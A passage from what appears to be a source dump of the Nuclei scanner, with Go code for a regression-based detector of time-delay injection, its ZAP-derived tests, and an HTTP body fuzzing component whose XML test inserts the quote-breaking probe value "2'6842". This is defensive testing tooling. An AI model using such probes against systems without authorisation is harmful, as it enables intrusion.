2 {\n\t\treturn false, \"\", errors.New(\"requests limit should be at least 2\")\n\t}\n\n\tregression := newSimpleLinearRegression()\n\trequestsLeft := requestsLimit\n\n\tvar requestsSent []requestsSentMetadata\n\tfor requestsLeft > 0 {\n\t\tisCorrelationPossible, delayReceived, err := sendRequestAndTestConfidence(regression, highSleepTimeSeconds, requestSender, baselineDelay)\n\t\tif err != nil {\n\t\t\treturn false, \"\", err\n\t\t}\n\t\tif !isCorrelationPossible {\n\t\t\treturn false, \"\", nil\n\t\t}\n\t\t// Check the delay is greater than baseline by seconds requested\n\t\tif delayReceived < baselineDelay+float64(highSleepTimeSeconds)*0.8 {\n\t\t\treturn false, \"\", nil\n\t\t}\n\t\trequestsSent = append(requestsSent, requestsSentMetadata{\n\t\t\tdelay:         highSleepTimeSeconds,\n\t\t\tdelayReceived: delayReceived,\n\t\t})\n\n\t\tisCorrelationPossibleSecond, delayReceivedSecond, err := sendRequestAndTestConfidence(regression, int(DefaultLowSleepTimeSeconds), requestSender, baselineDelay)\n\t\tif err != nil {\n\t\t\treturn false, \"\", err\n\t\t}\n\t\tif !isCorrelationPossibleSecond {\n\t\t\treturn false, \"\", nil\n\t\t}\n\t\tif delayReceivedSecond < baselineDelay+float64(DefaultLowSleepTimeSeconds)*0.8 {\n\t\t\treturn false, \"\", nil\n\t\t}\n\t\trequestsLeft = requestsLeft - 2\n\n\t\trequestsSent = append(requestsSent, requestsSentMetadata{\n\t\t\tdelay:         int(DefaultLowSleepTimeSeconds),\n\t\t\tdelayReceived: delayReceivedSecond,\n\t\t})\n\t}\n\n\tresult := regression.IsWithinConfidence(correlationErrorRange, 1.0, slopeErrorRange)\n\tif result {\n\t\tvar resultReason strings.Builder\n\t\tfmt.Fprintf(&resultReason, \"[time_delay] made %d requests (baseline: %.2fs) successfully, with a regression slope of %.2f and correlation %.2f\",\n\t\t\trequestsLimit,\n\t\t\tbaselineDelay,\n\t\t\tregression.slope,\n\t\t\tregression.correlation)\n\t\tfor _, request := range requestsSent {\n\t\t\tfmt.Fprintf(&resultReason, \"\\n - delay: %ds, delayReceived: %fs\", request.delay, request.delayReceived)\n\t\t}\n\t\treturn result, resultReason.String(), nil\n\t}\n\treturn result, \"\", nil\n}\n\n// sendRequestAndTestConfidence sends a request and tests the confidence of delay\nfunc sendRequestAndTestConfidence(\n\tregression *simpleLinearRegression,\n\tdelay int,\n\trequestSender timeDelayRequestSender,\n\tbaselineDelay float64,\n) (bool, float64, error) {\n\tdelayReceived, err := requestSender(delay)\n\tif err != nil {\n\t\treturn false, 0, err\n\t}\n\n\tif delayReceived < float64(delay) {\n\t\treturn false, 0, nil\n\t}\n\n\tregression.AddPoint(float64(delay), delayReceived-baselineDelay)\n\n\tif !regression.IsWithinConfidence(0.3, 1.0, 0.5) {\n\t\treturn false, delayReceived, nil\n\t}\n\treturn true, delayReceived, nil\n}\n\ntype simpleLinearRegression struct {\n\tcount float64\n\n\tsumX  float64\n\tsumY  float64\n\tsumXX float64\n\tsumYY float64\n\tsumXY float64\n\n\tslope       float64\n\tintercept   float64\n\tcorrelation float64\n}\n\nfunc newSimpleLinearRegression() *simpleLinearRegression {\n\treturn &simpleLinearRegression{\n\t\t// Start everything at zero until we have data\n\t\tslope:       0.0,\n\t\tintercept:   0.0,\n\t\tcorrelation: 0.0,\n\t}\n}\n\nfunc (o *simpleLinearRegression) AddPoint(x, y float64) {\n\to.count += 1\n\to.sumX += x\n\to.sumY += y\n\to.sumXX += x * x\n\to.sumYY += y * y\n\to.sumXY += x * y\n\n\t// Need at least two points for meaningful calculation\n\tif o.count < 2 {\n\t\treturn\n\t}\n\n\tn := o.count\n\tmeanX := o.sumX / n\n\tmeanY := o.sumY / n\n\n\t// Compute sample variances and covariance\n\tvarX := (o.sumXX - n*meanX*meanX) / (n - 1)\n\tvarY := (o.sumYY - n*meanY*meanY) / (n - 1)\n\tcovXY := (o.sumXY - n*meanX*meanY) / (n - 1)\n\n\t// If varX is zero, slope cannot be computed meaningfully.\n\t// This would mean all X are the same, so handle that edge case.\n\tif varX == 0 {\n\t\to.slope = 0.0\n\t\to.intercept = meanY // Just the mean\n\t\to.correlation = 0.0 // No correlation since all X are identical\n\t\treturn\n\t}\n\n\to.slope = covXY / varX\n\to.intercept = meanY - o.slope*meanX\n\n\t// If varX or varY are zero, we cannot compute correlation properly.\n\tif varX > 0 && varY > 0 {\n\t\to.correlation = covXY / (math.Sqrt(varX) * math.Sqrt(varY))\n\t} else {\n\t\to.correlation = 0.0\n\t}\n}\n\nfunc (o *simpleLinearRegression) Predict(x float64) float64 {\n\treturn o.slope*x + o.intercept\n}\n\nfunc (o *simpleLinearRegression) IsWithinConfidence(correlationErrorRange float64, expectedSlope float64, slopeErrorRange float64) bool {\n\tif o.count < 2 {\n\t\treturn true\n\t}\n\t// Check if slope is within error range of expected slope\n\t// Also consider cases where slope is approximately 2x of expected slope\n\t// as this can happen with time-based responses\n\tslopeDiff := math.Abs(expectedSlope - o.slope)\n\tslope2xDiff := math.Abs(expectedSlope*2 - o.slope)\n\tif slopeDiff > slopeErrorRange && slope2xDiff > slopeErrorRange {\n\t\treturn false\n\t}\n\treturn o.correlation > 1.0-correlationErrorRange\n}\n"
  },
  {
    "path": "pkg/fuzz/analyzers/time/time_delay_test.go",
    "content": "// Tests ported from ZAP Java version of the algorithm\n\npackage time\n\nimport (\n\t\"math/rand\"\n\t\"reflect\"\n\t\"testing\"\n\t\"time\"\n)\n\n// This test suite verifies the timing dependency detection algorithm by testing various scenarios:\n//\n// Test Categories:\n// 1. Perfect Linear Cases\n//    - TestPerfectLinear: Basic case with slope=1, no noise\n//    - TestPerfectLinearSlopeOne_NoNoise: Similar to above but with different parameters\n//    - TestPerfectLinearSlopeTwo_NoNoise: Tests detection of slope=2 relationship\n//\n// 2. Noisy Cases\n//    - TestLinearWithNoise: Verifies detection works with moderate noise (±0.2s)\n//    - TestNoisyLinear: Similar but with different noise parameters\n//    - TestHighNoiseConcealsSlope: Verifies detection fails with extreme noise (±5s)\n//\n// 3. No Correlation Cases\n//    - TestNoCorrelation: Basic case where delay has no effect\n//    - TestNoCorrelationHighBaseline: High baseline (~15s) masks any delay effect\n//    - TestNegativeSlopeScenario: Verifies detection rejects negative correlations\n//\n// 4. Edge Cases\n//    - TestMinimalData: Tests behavior with minimal data points (2 requests)\n//    - TestLargeNumberOfRequests: Tests stability with many data points (20 requests)\n//    - TestChangingBaseline: Tests detection with shifting baseline mid-test\n//    - TestHighBaselineLowSlope: Tests detection of subtle correlations (slope=0.85)\n//\n// ZAP Test Cases:\n//\n// 1. Alternating Sequence Tests\n//    - TestAlternatingSequences: Verifies correct alternation between high and low delays\n//\n// 2. Non-Injectable Cases\n//    - TestNonInjectableQuickFail: Tests quick failure when response time < requested delay\n//    - TestSlowNonInjectableCase: Tests early termination with consistently high response times\n//    - TestRealWorldNonInjectableCase: Tests behavior with real-world response patterns\n//\n// 3. Error Tolerance Tests\n//    - TestSmallErrorDependence: Verifies detection works with small random variations\n//\n// Key Parameters Tested:\n// - requestsLimit: Number of requests to make (2-20)\n// - highSleepTimeSeconds: Maximum delay to test (typically 5s)\n// - correlationErrorRange: Acceptable deviation from perfect correlation (0.05-0.3)\n// - slopeErrorRange: Acceptable deviation from expected slope (0.1-1.5)\n//\n// The test suite uses various mock senders (perfectLinearSender, noCorrelationSender, etc.)\n// to simulate different timing behaviors and verify the detection algorithm works correctly\n// across a wide range of scenarios.\n\n// Mock request sender that simulates a perfect linear relationship:\n// Observed delay = baseline + requested_delay\nfunc perfectLinearSender(baseline float64) func(delay int) (float64, error) {\n\treturn func(delay int) (float64, error) {\n\t\t// simulate some processing time\n\t\ttime.Sleep(10 * time.Millisecond) // just a small artificial sleep to mimic network\n\t\treturn baseline + float64(delay), nil\n\t}\n}\n\n// Mock request sender that simulates no correlation:\n// The response time is random around a certain constant baseline, ignoring requested delay.\nfunc noCorrelationSender(baseline, noiseAmplitude float64) func(int) (float64, error) {\n\treturn func(delay int) (float64, error) {\n\t\ttime.Sleep(10 * time.Millisecond)\n\t\tnoise := 0.0\n\t\tif noiseAmplitude > 0 {\n\t\t\tnoise = (rand.Float64()*2 - 1) * noiseAmplitude\n\t\t}\n\t\treturn baseline + noise, nil\n\t}\n}\n\n// Mock request sender that simulates partial linearity but with some noise.\nfunc noisyLinearSender(baseline float64) func(delay int) (float64, error) {\n\treturn func(delay int) (float64, error) {\n\t\ttime.Sleep(10 * time.Millisecond)\n\t\t// Add some noise (±0.2s) to a linear relationship\n\t\tnoise := 0.2\n\t\treturn baseline + float64(delay) + noise, nil\n\t}\n}\n\nfunc TestPerfectLinear(t *testing.T) {\n\t// Expect near-perfect correlation and slope ~ 1.0\n\trequestsLimit := 6 // 3 pairs: enough data for stable regression\n\thighSleepTimeSeconds := 5\n\tcorrErrRange := 0.1\n\tslopeErrRange := 0.2\n\tbaseline := 5.0\n\n\tsender := perfectLinearSender(5.0) // baseline 5s, observed = 5s + requested_delay\n\tmatch, reason, err := checkTimingDependency(\n\t\trequestsLimit,\n\t\thighSleepTimeSeconds,\n\t\tcorrErrRange,\n\t\tslopeErrRange,\n\t\tbaseline,\n\t\tsender,\n\t)\n\tif err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\tif !match {\n\t\tt.Fatalf(\"Expected a match but got none. Reason: %s\", reason)\n\t}\n}\n\nfunc TestNoCorrelation(t *testing.T) {\n\t// Expect no match because requested delay doesn't influence observed delay\n\trequestsLimit := 6\n\thighSleepTimeSeconds := 5\n\tcorrErrRange := 0.1\n\tslopeErrRange := 0.5\n\tbaseline := 8.0\n\n\tsender := noCorrelationSender(8.0, 0.1)\n\tmatch, reason, err := checkTimingDependency(\n\t\trequestsLimit,\n\t\thighSleepTimeSeconds,\n\t\tcorrErrRange,\n\t\tslopeErrRange,\n\t\tbaseline,\n\t\tsender,\n\t)\n\tif err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\tif match {\n\t\tt.Fatalf(\"Expected no match but got one. Reason: %s\", reason)\n\t}\n}\n\nfunc TestNoisyLinear(t *testing.T) {\n\t// Even with some noise, it should detect a strong positive correlation if\n\t// we allow a slightly bigger margin for slope/correlation.\n\trequestsLimit := 10 // More requests to average out noise\n\thighSleepTimeSeconds := 5\n\tcorrErrRange := 0.2  // allow some lower correlation due to noise\n\tslopeErrRange := 0.5 // slope may deviate slightly\n\tbaseline := 2.0\n\n\tsender := noisyLinearSender(2.0) // baseline 2s, observed ~ 2s + requested_delay ±0.2\n\tmatch, reason, err := checkTimingDependency(\n\t\trequestsLimit,\n\t\thighSleepTimeSeconds,\n\t\tcorrErrRange,\n\t\tslopeErrRange,\n\t\tbaseline,\n\t\tsender,\n\t)\n\tif err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\t// We expect a match since it's still roughly linear. The slope should be close to 1.\n\tif !match {\n\t\tt.Fatalf(\"Expected a match in noisy linear test but got none. Reason: %s\", reason)\n\t}\n}\n\nfunc TestMinimalData(t *testing.T) {\n\t// With too few requests, correlation might not be stable.\n\t// Here, we send only 2 requests (1 pair) and see if the logic handles it gracefully.\n\trequestsLimit := 2\n\thighSleepTimeSeconds := 5\n\tcorrErrRange := 0.3\n\tslopeErrRange := 0.5\n\tbaseline := 5.0\n\n\t// Perfect linear sender again\n\tsender := perfectLinearSender(5.0)\n\tmatch, reason, err := checkTimingDependency(\n\t\trequestsLimit,\n\t\thighSleepTimeSeconds,\n\t\tcorrErrRange,\n\t\tslopeErrRange,\n\t\tbaseline,\n\t\tsender,\n\t)\n\tif err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\tif !match {\n\t\tt.Fatalf(\"Expected match but got none. Reason: %s\", reason)\n\t}\n}\n\n// Utility functions to generate different behaviors\n\n// linearSender returns a sender that calculates observed delay as:\n// observed = baseline + slope * requested_delay + noise\nfunc linearSender(baseline, slope, noiseAmplitude float64) func(int) (float64, error) {\n\treturn func(delay int) (float64, error) {\n\t\ttime.Sleep(10 * time.Millisecond)\n\t\tnoise := 0.0\n\t\tif noiseAmplitude > 0 {\n\t\t\tnoise = (rand.Float64()*2 - 1) * noiseAmplitude // random noise in [-noiseAmplitude, noiseAmplitude]\n\t\t}\n\t\treturn baseline + slope*float64(delay) + noise, nil\n\t}\n}\n\n// negativeSlopeSender just for completeness - higher delay = less observed time\nfunc negativeSlopeSender(baseline float64) func(int) (float64, error) {\n\treturn func(delay int) (float64, error) {\n\t\ttime.Sleep(10 * time.Millisecond)\n\t\treturn baseline - float64(delay)*2.0, nil\n\t}\n}\n\nfunc TestPerfectLinearSlopeOne_NoNoise(t *testing.T) {\n\tbaseline := 2.0\n\tmatch, reason, err := checkTimingDependency(\n\t\t10,  // requestsLimit\n\t\t5,   // highSleepTimeSeconds\n\t\t0.1, // correlationErrorRange\n\t\t0.2, // slopeErrorRange (allowing slope between 0.8 and 1.2)\n\t\tbaseline,\n\t\tlinearSender(baseline, 1.0, 0.0),\n\t)\n\tif err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\tif !match {\n\t\tt.Fatalf(\"Expected a match for perfect linear slope=1. Reason: %s\", reason)\n\t}\n}\n\nfunc TestPerfectLinearSlopeTwo_NoNoise(t *testing.T) {\n\tbaseline := 2.0\n\t// slope=2 means observed = baseline + 2*requested_delay\n\tmatch, reason, err := checkTimingDependency(\n\t\t10,\n\t\t5,\n\t\t0.1, // correlation must still be good\n\t\t1.5, // allow slope in range (0.5 to 2.5), we should be close to 2.0 anyway\n\t\tbaseline,\n\t\tlinearSender(baseline, 2.0, 0.0),\n\t)\n\tif err != nil {\n\t\tt.Fatalf(\"Error: %v\", err)\n\t}\n\tif !match {\n\t\tt.Fatalf(\"Expected a match for slope=2. Reason: %s\", reason)\n\t}\n}\n\nfunc TestLinearWithNoise(t *testing.T) {\n\tbaseline := 5.0\n\t// slope=1 but with noise ±0.2 seconds\n\tmatch, reason, err := checkTimingDependency(\n\t\t12,\n\t\t5,\n\t\t0.2, // correlationErrorRange relaxed to account for noise\n\t\t0.5, // slopeErrorRange also relaxed\n\t\tbaseline,\n\t\tlinearSender(baseline, 1.0, 0.2),\n\t)\n\tif err != nil {\n\t\tt.Fatalf(\"Error: %v\", err)\n\t}\n\tif !match {\n\t\tt.Fatalf(\"Expected a match for noisy linear data. Reason: %s\", reason)\n\t}\n}\n\nfunc TestNoCorrelationHighBaseline(t *testing.T) {\n\tbaseline := 15.0\n\t// baseline ~15s, requested delays won't matter\n\tmatch, reason, err := checkTimingDependency(\n\t\t10,\n\t\t5,\n\t\t0.1, // correlation should be near zero, so no match expected\n\t\t0.5,\n\t\tbaseline,\n\t\tnoCorrelationSender(baseline, 0.1),\n\t)\n\tif err != nil {\n\t\tt.Fatalf(\"Error: %v\", err)\n\t}\n\tif match {\n\t\tt.Fatalf(\"Expected no match for no correlation scenario. Got: %s\", reason)\n\t}\n}\n\nfunc TestNegativeSlopeScenario(t *testing.T) {\n\tbaseline := 10.0\n\t// Increasing delay decreases observed time\n\tmatch, reason, err := checkTimingDependency(\n\t\t10,\n\t\t5,\n\t\t0.2,\n\t\t0.5,\n\t\tbaseline,\n\t\tnegativeSlopeSender(baseline),\n\t)\n\tif err != nil {\n\t\tt.Fatalf(\"Error: %v\", err)\n\t}\n\tif match {\n\t\tt.Fatalf(\"Expected no match in negative slope scenario. Reason: %s\", reason)\n\t}\n}\n\nfunc TestLargeNumberOfRequests(t *testing.T) {\n\tbaseline := 1.0\n\t// 20 requests, slope=1.0, no noise. Should be very stable and produce a very high correlation.\n\tmatch, reason, err := checkTimingDependency(\n\t\t20,\n\t\t5,\n\t\t0.05, // very strict correlation requirement\n\t\t0.1,  // very strict slope range\n\t\tbaseline,\n\t\tlinearSender(baseline, 1.0, 0.0),\n\t)\n\tif err != nil {\n\t\tt.Fatalf(\"Error: %v\", err)\n\t}\n\tif !match {\n\t\tt.Fatalf(\"Expected a strong match with many requests and perfect linearity. Reason: %s\", reason)\n\t}\n}\n\nfunc TestHighBaselineLowSlope(t *testing.T) {\n\tbaseline := 15.0\n\tmatch, reason, err := checkTimingDependency(\n\t\t10,\n\t\t5,\n\t\t0.2,\n\t\t0.2, // expecting slope around 0.5, allow range ~0.4 to 0.6\n\t\tbaseline,\n\t\tlinearSender(baseline, 0.85, 0.0),\n\t)\n\tif err != nil {\n\t\tt.Fatalf(\"Error: %v\", err)\n\t}\n\tif !match {\n\t\tt.Fatalf(\"Expected a match for slope=0.5 linear scenario. Reason: %s\", reason)\n\t}\n}\n\nfunc TestHighNoiseConcealsSlope(t *testing.T) {\n\tbaseline := 5.0\n\t// slope=1, but noise=5 seconds is huge and might conceal the correlation.\n\t// With large noise, the test may fail to detect correlation.\n\tmatch, reason, err := checkTimingDependency(\n\t\t12,\n\t\t5,\n\t\t0.1, // still strict\n\t\t0.2, // still strict\n\t\tbaseline,\n\t\tlinearSender(baseline, 1.0, 5.0),\n\t)\n\tif err != nil {\n\t\tt.Fatalf(\"Error: %v\", err)\n\t}\n\t// Expect no match because the noise level is too high to establish a reliable correlation.\n\tif match {\n\t\tt.Fatalf(\"Expected no match due to extreme noise. Reason: %s\", reason)\n\t}\n}\n\nfunc TestAlternatingSequences(t *testing.T) {\n\tbaseline := 0.0\n\tvar generatedDelays []float64\n\treqSender := func(delay int) (float64, error) {\n\t\tgeneratedDelays = append(generatedDelays, float64(delay))\n\t\treturn float64(delay), nil\n\t}\n\tmatch, reason, err := checkTimingDependency(\n\t\t4,   // requestsLimit\n\t\t15,  // highSleepTimeSeconds\n\t\t0.1, // correlationErrorRange\n\t\t0.2, // slopeErrorRange\n\t\tbaseline,\n\t\treqSender,\n\t)\n\tif err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\tif !match {\n\t\tt.Fatalf(\"Expected a match but got none. Reason: %s\", reason)\n\t}\n\t// Verify alternating sequence of delays\n\texpectedDelays := []float64{15, 3, 15, 3}\n\tif !reflect.DeepEqual(generatedDelays, expectedDelays) {\n\t\tt.Fatalf(\"Expected delays %v but got %v\", expectedDelays, generatedDelays)\n\t}\n}\n\nfunc TestNonInjectableQuickFail(t *testing.T) {\n\tbaseline := 0.5\n\tvar timesCalled int\n\treqSender := func(delay int) (float64, error) {\n\t\ttimesCalled++\n\t\treturn 0.5, nil // Return value less than delay\n\t}\n\tmatch, _, err := checkTimingDependency(\n\t\t4,   // requestsLimit\n\t\t15,  // highSleepTimeSeconds\n\t\t0.1, // correlationErrorRange\n\t\t0.2, // slopeErrorRange\n\t\tbaseline,\n\t\treqSender,\n\t)\n\tif err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\tif match {\n\t\tt.Fatal(\"Expected no match for non-injectable case\")\n\t}\n\tif timesCalled != 1 {\n\t\tt.Fatalf(\"Expected quick fail after 1 call, got %d calls\", timesCalled)\n\t}\n}\n\nfunc TestSlowNonInjectableCase(t *testing.T) {\n\tbaseline := 10.0\n\trng := rand.New(rand.NewSource(time.Now().UnixNano()))\n\tvar timesCalled int\n\treqSender := func(delay int) (float64, error) {\n\t\ttimesCalled++\n\t\treturn 10 + rng.Float64()*0.5, nil\n\t}\n\tmatch, _, err := checkTimingDependency(\n\t\t4,   // requestsLimit\n\t\t15,  // highSleepTimeSeconds\n\t\t0.1, // correlationErrorRange\n\t\t0.2, // slopeErrorRange\n\t\tbaseline,\n\t\treqSender,\n\t)\n\tif err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\tif match {\n\t\tt.Fatal(\"Expected no match for slow non-injectable case\")\n\t}\n\tif timesCalled > 3 {\n\t\tt.Fatalf(\"Expected early termination (≤3 calls), got %d calls\", timesCalled)\n\t}\n}\n\nfunc TestRealWorldNonInjectableCase(t *testing.T) {\n\tbaseline := 0.0\n\tvar iteration int\n\tcounts := []float64{11, 21, 11, 21, 11}\n\treqSender := func(delay int) (float64, error) {\n\t\titeration++\n\t\treturn counts[iteration-1], nil\n\t}\n\tmatch, _, err := checkTimingDependency(\n\t\t4,   // requestsLimit\n\t\t15,  // highSleepTimeSeconds\n\t\t0.1, // correlationErrorRange\n\t\t0.2, // slopeErrorRange\n\t\tbaseline,\n\t\treqSender,\n\t)\n\tif err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\tif match {\n\t\tt.Fatal(\"Expected no match for real-world non-injectable case\")\n\t}\n\tif iteration > 4 {\n\t\tt.Fatalf(\"Expected ≤4 iterations, got %d\", iteration)\n\t}\n}\n\nfunc TestSmallErrorDependence(t *testing.T) {\n\tbaseline := 0.0\n\trng := rand.New(rand.NewSource(time.Now().UnixNano()))\n\treqSender := func(delay int) (float64, error) {\n\t\treturn float64(delay) + rng.Float64()*0.5, nil\n\t}\n\tmatch, reason, err := checkTimingDependency(\n\t\t4,   // requestsLimit\n\t\t15,  // highSleepTimeSeconds\n\t\t0.1, // correlationErrorRange\n\t\t0.2, // slopeErrorRange\n\t\tbaseline,\n\t\treqSender,\n\t)\n\tif err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\tif !match {\n\t\tt.Fatalf(\"Expected match for small error case. Reason: %s\", reason)\n\t}\n}\n"
  },
  {
    "path": "pkg/fuzz/component/body.go",
    "content": "package component\n\nimport (\n\t\"bytes\"\n\t\"context\"\n\t\"io\"\n\t\"strconv\"\n\t\"strings\"\n\n\t\"github.com/pkg/errors\"\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/fuzz/dataformat\"\n\t\"github.com/projectdiscovery/retryablehttp-go\"\n)\n\n// Body is a component for a request body\ntype Body struct {\n\tvalue *Value\n\n\treq *retryablehttp.Request\n}\n\nvar _ Component = &Body{}\n\n// NewBody creates a new body component\nfunc NewBody() *Body {\n\treturn &Body{}\n}\n\n// Name returns the name of the component\nfunc (b *Body) Name() string {\n\treturn RequestBodyComponent\n}\n\n// Parse parses the component and returns the\n// parsed component\nfunc (b *Body) Parse(req *retryablehttp.Request) (bool, error) {\n\tif req.Body == nil {\n\t\treturn false, nil\n\t}\n\tb.req = req\n\n\tcontentType := req.Header.Get(\"Content-Type\")\n\n\tdata, err := io.ReadAll(req.Body)\n\tif err != nil {\n\t\treturn false, errors.Wrap(err, \"could not read body\")\n\t}\n\treq.Body = io.NopCloser(bytes.NewReader(data))\n\tdataStr := string(data)\n\n\tif dataStr == \"\" {\n\t\treturn false, nil\n\t}\n\n\tb.value = NewValue(dataStr)\n\ttmp := b.value.Parsed()\n\tif !tmp.IsNIL() {\n\t\treturn true, nil\n\t}\n\n\tswitch {\n\tcase strings.Contains(contentType, \"application/json\") && tmp.IsNIL():\n\t\treturn b.parseBody(dataformat.JSONDataFormat, req)\n\tcase strings.Contains(contentType, \"application/xml\") && tmp.IsNIL():\n\t\treturn b.parseBody(dataformat.XMLDataFormat, req)\n\tcase strings.Contains(contentType, \"multipart/form-data\") && tmp.IsNIL():\n\t\treturn b.parseBody(dataformat.MultiPartFormDataFormat, req)\n\t}\n\tparsed, err := b.parseBody(dataformat.FormDataFormat, req)\n\tif err != nil {\n\t\tgologger.Warning().Msgf(\"Could not parse body as form data: %s\\n\", err)\n\t\treturn b.parseBody(dataformat.RawDataFormat, req)\n\t}\n\treturn parsed, err\n}\n\n// parseBody parses a body with a custom decoder\nfunc (b *Body) parseBody(decoderName string, req *retryablehttp.Request) (bool, error) {\n\tdecoder := dataformat.Get(decoderName)\n\tif decoderName == dataformat.MultiPartFormDataFormat {\n\t\t// set content type to extract boundary\n\t\tif err := decoder.(*dataformat.MultiPartForm).ParseBoundary(req.Header.Get(\"Content-Type\")); err != nil {\n\t\t\treturn false, errors.Wrap(err, \"could not parse boundary\")\n\t\t}\n\t}\n\tdecoded, err := decoder.Decode(b.value.String())\n\tif err != nil {\n\t\treturn false, errors.Wrap(err, \"could not decode raw\")\n\t}\n\tb.value.SetParsed(decoded, decoder.Name())\n\treturn true, nil\n}\n\n// Iterate iterates through the component\nfunc (b *Body) Iterate(callback func(key string, value interface{}) error) (errx error) {\n\tb.value.parsed.Iterate(func(key string, value any) bool {\n\t\tif strings.HasPrefix(key, \"#_\") {\n\t\t\treturn true\n\t\t}\n\t\tif err := callback(key, value); err != nil {\n\t\t\terrx = err\n\t\t\treturn false\n\t\t}\n\t\treturn true\n\t})\n\treturn\n}\n\n// SetValue sets a value in the component\nfunc (b *Body) SetValue(key string, value string) error {\n\tif !b.value.SetParsedValue(key, value) {\n\t\treturn ErrSetValue\n\t}\n\treturn nil\n}\n\n// Delete deletes a key from the component\nfunc (b *Body) Delete(key string) error {\n\tif !b.value.Delete(key) {\n\t\treturn ErrKeyNotFound\n\t}\n\treturn nil\n}\n\n// Rebuild returns a new request with the\n// component rebuilt\nfunc (b *Body) Rebuild() (*retryablehttp.Request, error) {\n\tencoded, err := b.value.Encode()\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"could not encode body\")\n\t}\n\tcloned := b.req.Clone(context.Background())\n\terr = cloned.SetBodyString(encoded)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"could not set body\")\n\t}\n\tcloned.Header.Set(\"Content-Length\", strconv.Itoa(len(encoded)))\n\treturn cloned, nil\n}\n\nfunc (b *Body) Clone() Component {\n\treturn &Body{\n\t\tvalue: b.value.Clone(),\n\t\treq:   b.req.Clone(context.Background()),\n\t}\n}\n"
  },
  {
    "path": "pkg/fuzz/component/body_test.go",
    "content": "package component\n\nimport (\n\t\"bytes\"\n\t\"io\"\n\t\"mime/multipart\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/projectdiscovery/retryablehttp-go\"\n\turlutil \"github.com/projectdiscovery/utils/url\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestBodyComponent(t *testing.T) {\n\treq, err := retryablehttp.NewRequest(\"POST\", \"https://example.com\", strings.NewReader(`{\"foo\":\"bar\"}`))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\treq.Header.Set(\"Content-Type\", \"application/json\")\n\n\tbody := New(RequestBodyComponent)\n\t_, err = body.Parse(req)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tvar keys []string\n\tvar values []string\n\t_ = body.Iterate(func(key string, value interface{}) error {\n\t\tkeys = append(keys, key)\n\t\tvalues = append(values, value.(string))\n\t\treturn nil\n\t})\n\n\trequire.Equal(t, []string{\"foo\"}, keys, \"unexpected keys\")\n\trequire.Equal(t, []string{\"bar\"}, values, \"unexpected values\")\n\n\t_ = body.SetValue(\"foo\", \"baz\")\n\n\trebuilt, err := body.Rebuild()\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tnewBody, err := io.ReadAll(rebuilt.Body)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\trequire.Equal(t, `{\"foo\":\"baz\"}`, string(newBody), \"unexpected body\")\n}\n\nfunc TestBodyXMLComponent(t *testing.T) {\n\tvar body = \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?><stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>\"\n\n\treq, err := retryablehttp.NewRequest(\"POST\", \"https://example.com\", strings.NewReader(body))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\treq.Header.Set(\"Content-Type\", \"application/xml\")\n\n\tbodyComponent := New(RequestBodyComponent)\n\tparsed, err := bodyComponent.Parse(req)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\trequire.True(t, parsed, \"could not parse body\")\n\n\t_ = bodyComponent.SetValue(\"stockCheck~productId\", \"2'6842\")\n\trebuilt, err := bodyComponent.Rebuild()\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tnewBody, err := io.ReadAll(rebuilt.Body)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\trequire.Equal(t, \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?><stockCheck><productId>2'6842</productId><storeId>1</storeId></stockCheck>\", string(newBody), \"unexpected body\")\n}\n\nfunc TestBodyFormComponent(t *testing.T) {\n\tformData := urlutil.NewOrderedParams()\n\tformData.Set(\"key1\", \"value1\")\n\tformData.Set(\"key2\", \"value2\")\n\n\treq, err := retryablehttp.NewRequest(\"POST\", \"https://example.com\", strings.NewReader(formData.Encode()))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\treq.Header.Set(\"Content-Type\", \"application/x-www-form-urlencoded\")\n\n\tbody := New(RequestBodyComponent)\n\t_, err = body.Parse(req)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tvar keys []string\n\tvar values []string\n\t_ = body.Iterate(func(key string, value interface{}) error {\n\t\tkeys = append(keys, key)\n\t\tvalues = append(values, value.(string))\n\t\treturn nil\n\t})\n\n\trequire.ElementsMatch(t, []string{\"key1\", \"key2\"}, keys, \"unexpected keys\")\n\trequire.ElementsMatch(t, []string{\"value1\", \"value2\"}, values, \"unexpected values\")\n\n\t_ = body.SetValue(\"key1\", \"updatedValue1\")\n\n\trebuilt, err := body.Rebuild()\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tnewBody, err := io.ReadAll(rebuilt.Body)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\trequire.Equal(t, \"key1=updatedValue1&key2=value2\", string(newBody), \"unexpected body\")\n}\n\nfunc TestMultiPartFormComponent(t *testing.T) {\n\tformData := &bytes.Buffer{}\n\twriter := multipart.NewWriter(formData)\n\n\t// Hypothetical form fields\n\t_ = writer.WriteField(\"username\", \"testuser\")\n\t_ = writer.WriteField(\"password\", 